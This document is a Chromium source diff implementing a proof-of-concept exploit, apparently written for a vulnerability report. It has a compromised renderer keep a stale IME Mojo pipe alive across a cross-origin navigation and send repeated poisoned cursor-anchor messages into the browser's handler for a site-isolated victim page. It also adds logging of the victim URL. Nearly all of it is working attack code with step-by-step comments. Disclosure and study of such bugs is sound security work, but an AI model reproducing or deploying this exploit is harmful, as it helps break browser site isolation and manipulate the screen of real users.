diff --git a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc --- a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc +++ b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc @@ -759,14 +759,73 @@ void WebFrameWidgetImpl::OnStartStylusWriting( std::move(callback).Run(std::move(focus_result)); } #if BUILDFLAG(IS_ANDROID) + +// --------------------------------------------------------------------------- +// POC: Orphaned ImeRenderWidgetHost cross-origin state manipulation. +// +// A compromised renderer stashes the PendingRemote in a +// process-global (instead of the per-widget HeapMojoRemote member) so the pipe +// outlives the WebFrameWidgetImpl. After the tab navigates cross-origin to a +// site-isolated victim, this renderer process (kept alive by a second tab on +// the attacker's origin) keeps pumping UpdateCursorAnchorInfo over the *old* +// pipe. The Java-side receiver was never closed (its Router was discarded in +// ImeAdapterImpl.bindImeRenderHost) and is rooted by a JNI GlobalRef inside +// the native WatcherImpl, so the messages are dispatched to the per-WebContents +// ImeAdapterImpl that now serves victim.com. +// --------------------------------------------------------------------------- +namespace { + +mojo::Remote& StashedImeHost() { + // Process-global. Survives WebFrameWidgetImpl destruction and cross-process + // navigation of the original tab as long as *any* tab keeps this renderer + // alive (e.g. a second attacker.com tab). + static base::NoDestructor> + remote; + return *remote; +} + +void PocSendPoisonedCursorAnchorInfo() { + auto& remote = StashedImeHost(); + if (!remote.is_bound() || !remote.is_connected()) { + LOG(ERROR) << "POC: stashed ImeRenderWidgetHost pipe is gone"; + return; + } + auto info = mojom::blink::InputCursorAnchorInfo::New(); + // (A) Force requestRectangleOnScreen() to attacker-controlled, far-off-screen + // coordinates -> hijacks Android screen-magnification viewport. + info->insertion_marker = gfx::Rect(-5000, -5000, 1, 1); + // (B) Poison CursorAnchorInfoController.mInputCursorAnchorInfo so the next + // IME update mixes attacker bounds with victim text. + info->character_bounds.push_back(gfx::Rect(0, 0, 10000, 10000)); + info->visible_line_bounds.push_back(gfx::Rect(-1000, -1000, 20000, 20000)); + info->editor_bounds_info = mojom::blink::EditorBoundsInfo::New( + gfx::RectF(-1000, -1000, 20000, 20000), + gfx::RectF(-1000, -1000, 20000, 20000)); + info->text_appearance_info = + mojom::blink::TextAppearanceInfo::New(SkColors::kRed.toSkColor()); + info->requested = true; + LOG(ERROR) << "POC: sending poisoned UpdateCursorAnchorInfo over stale pipe"; + remote->UpdateCursorAnchorInfo(std::move(info)); + // Re-arm: keep the magnifier displaced / keep racing victim's pipe. + base::SequencedTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, base::BindOnce(&PocSendPoisonedCursorAnchorInfo), + base::Milliseconds(250)); +} + +} // namespace + void WebFrameWidgetImpl::PassImeRenderWidgetHost( mojo::PendingRemote pending_remote) { - ime_render_widget_host_ = - HeapMojoRemote(nullptr); - ime_render_widget_host_.Bind( - std::move(pending_remote), - local_root_->GetTaskRunner(TaskType::kInternalDefault)); + // Only hijack the *first* pipe this process ever sees (Tab 1, attacker.com). + // Subsequent pipes (e.g. Tab 2) are dropped so the browser-side Java + // ImeRenderWidgetHostImpl for those tabs sees a peer-closed pipe and cleans + // up normally — irrelevant to the POC. + if (StashedImeHost().is_bound()) { + return; + } + LOG(ERROR) << "POC: stashing ImeRenderWidgetHost remote in process-global"; + StashedImeHost().Bind(std::move(pending_remote)); + base::SequencedTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, base::BindOnce(&PocSendPoisonedCursorAnchorInfo), + base::Seconds(5)); } #endif // BUILDFLAG(IS_ANDROID) diff --git a/content/public/android/java/src/org/chromium/content/browser/input/ImeAdapterImpl.java b/content/public/android/java/src/org/chromium/content/browser/input/ImeAdapterImpl.java --- a/content/public/android/java/src/org/chromium/content/browser/input/ImeAdapterImpl.java +++ b/content/public/android/java/src/org/chromium/content/browser/input/ImeAdapterImpl.java @@ -1758,6 +1758,12 @@ public class ImeAdapterImpl } private void updateCursorAnchorInfo(InputCursorAnchorInfo cursorAnchorInfo) { + // POC instrumentation: log the origin currently committed in this + // WebContents so it's visible in `adb logcat` that messages from the + // attacker's stale pipe land while victim.com is loaded. + android.util.Log.e("ImePoc", + "updateCursorAnchorInfo dispatched; visible URL = " + + mWebContents.getVisibleUrl()); if (mCursorAnchorInfoController == null) { return; }